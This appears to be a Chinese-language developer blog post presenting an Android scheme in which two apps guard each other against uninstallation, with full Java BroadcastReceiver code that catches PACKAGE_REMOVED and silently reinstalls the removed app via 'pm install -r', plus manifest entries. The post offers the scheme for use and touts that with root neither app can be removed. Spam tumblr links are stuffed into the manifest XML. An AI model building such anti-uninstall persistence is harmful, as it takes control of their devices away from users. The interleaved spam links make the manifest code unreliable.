介绍一种当用户或者其他软件卸载你的应用时,其守护应用守护该应用重新安装至系统的方案。
方案缺点:
1、当具有root权限的删除时无法守护 (rm data/app/*.apk)
2、当为非root手机时,采用显示安装,用户可选择取消安装
方案优点:
1、使用传统手法卸载软件时具有root权限时可顽固守护
2、双应用守护,无法卸载其中任何一个
方案原理:
采用BroadcastReceiver 接收拦截的应用卸载的消息,(由于系统原因,当接收到消息时,系统已经卸载了该应用才发出的消息,所以无法像短信拦截一样直接拦截)。
1、 接收到应用卸载信息
2、判断包名是否为需要守护的包名
3、如果是则启动重新安装
4、使用静默安装
5、如果失败使用普通安装
方案代码:
BroadcastReceiver
public class ProtectReceiver extends BroadcastReceiver { private static final String TAG = "ProtectReceiver"; private String ACTION_PACKAGE_REMOVED = "android.intent.action.PACKAGE_REMOVED"; private String PRO_APK_PATH = "/sdcard/test.apk"; //需修改 @Override public void onReceive(Context context, Intent intent) { if (ACTION_PACKAGE_REMOVED.equals(intent.getAction())) { //需修改 if ("package:com.rapida.test".equals(intent.getDataString())) { reInstallApp(context); } } } private void reInstallApp(Context context) { if (!installSlient(context, PRO_APK_PATH)) { install(context, PRO_APK_PATH); } } private void install(Context context, String filePath) { Intent i = new Intent(Intent.ACTION_VIEW); i.setDataAndType(Uri.parse("file://" + filePath), "application/vnd.android.package-archive"); i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); context.startActivity(i); } private boolean installSlient(Context context, String filePath) { String[] args = { "pm", "install", "-r", filePath }; ProcessBuilder processBuilder = new ProcessBuilder(args); Process process = null; BufferedReader successResult = null; BufferedReader errorResult = null; StringBuilder successMsg = new StringBuilder(); StringBuilder errorMsg = new StringBuilder(); boolean result = false; try { process = processBuilder.start(); successResult = new BufferedReader(new InputStreamReader( process.getInputStream())); errorResult = new BufferedReader(new InputStreamReader( process.getErrorStream())); String s; while ((s = successResult.readLine()) != null) { successMsg.append(s); } while ((s = errorResult.readLine()) != null) { errorMsg.append(s); } } catch (IOException e) { e.printStackTrace(); result = false; } catch (Exception e) { e.printStackTrace(); result = false; } finally { try { if (successResult != null) { successResult.close(); } if (errorResult != null) { errorResult.close(); } } catch (IOException e) { e.printStackTrace(); } if (process != null) { process.destroy(); } } if (successMsg.toString().contains("Success") || successMsg.toString().contains("success")) { result = true; } else { result = false; } return result; }
添加权限
<uses-permission android:name="android.permission.INSTALL_PACKAGES" />
添加receiver
<receiver android:name=".ProtectReceiver" > ,http://chengdp.tumblr.com/; <intent-filter> <action android:name="android.intent.action.PACKAGE_REMOVED" /> <data android:scheme="package" /> ,http://ktaiyuan.tumblr.com/; ,http://tjfpdkp.tumblr.com/; </intent-filter> </receiver>
程序应用:
在需要守护的应用里添加如上代码,因为是相互守护,需要在两个应用里都添加如上代码。